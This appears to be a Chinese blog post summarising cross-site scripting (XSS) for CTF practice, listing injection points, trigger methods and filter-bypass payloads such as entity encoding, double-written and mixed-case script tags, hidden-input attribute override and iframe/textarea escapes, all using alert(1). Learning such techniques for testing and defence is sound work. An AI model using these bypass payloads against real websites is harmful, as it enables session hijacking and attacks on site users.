1. 程式人生 > >xss總結--2018自我整理

xss總結--2018自我整理

0x00前言

因為ctf中xss的題目偏少(因為需要機器人在後臺點選手的連線2333),所有寫的比較少

這裡推薦個環境http://test.xss.tv/

 

0x01xss作用

常見的輸出函式:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()

xss是往頁面中添加了一段程式碼,並且被瀏覽器執行了

反射型將惡意程式碼寫入引數,或者自己伺服器上搭個form表單傳送,用來釣魚

儲存型就等著別人點這個網頁就行了

 

0x02手段

xss主要出現的地方:文章發表,評論回覆,

留言,資料設定等

xss無非就是要對方的cookie,但是常常會有httponly導致cookie並不能傳到xss平臺,這是一種有效的防禦方式

但是xss預防應該從本質出發,即對該頁面使用者輸入不能被執行

 

xss觸發方法

利用script標籤執行js

<script>alert(1)</script>

字串用" ' 包裹都行

採用on事件方法

on事件不用單引號或雙引號也可以觸發,但是必須閉合標籤內的引號

<onclick=alert(1)>     =>點選就會觸發
<onmouseover=alert(1)> =>滑鼠移動觸發

能夠使用on事件的標籤

支援on click事件的標籤有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>

採用a標籤來做到xss

<a href="javascript:alert(1)" >

 

0x03bypass方法

採用編碼,把字串可以進行編碼

&#   後接十進位制     => unicode編碼
&#x 後接十六進位制    => unicode編碼

 

採用標籤中的空隙規則

假設正則是

<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>

可以採用

<script>alert(1)</script > ==> 最後有個p和>間有空格繞過

 

採用雙寫繞過空字元替換

如果被刪除關鍵字,可以採用重寫方法比如 <scriscriptpt>


採用大小寫繞過不嚴格的waf

 <script>   => <Script>

 

採用引數覆蓋,覆蓋掉hidden引數

<input name="t_sort"  value="" onmouseover=alert(1) type="text" type="hidden">
我們輸入的內容為:" onmouseover=alert(1) type="text

 

有些標籤的優先順序高於",導致執行xss

  • <!--

  • <iframe>

  • <noframes>

  • <noscript>

  • <script>

  • <style>

  • <textarea>

  • <title>

  • <xmp>

具體原理參考連結:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg

使用方法

<iframe>"</iframe><script>alert(1)</script>"</iframe>  #這語句是會彈框的

假設輸入的內容是
</iframe><script>alert(1)</script>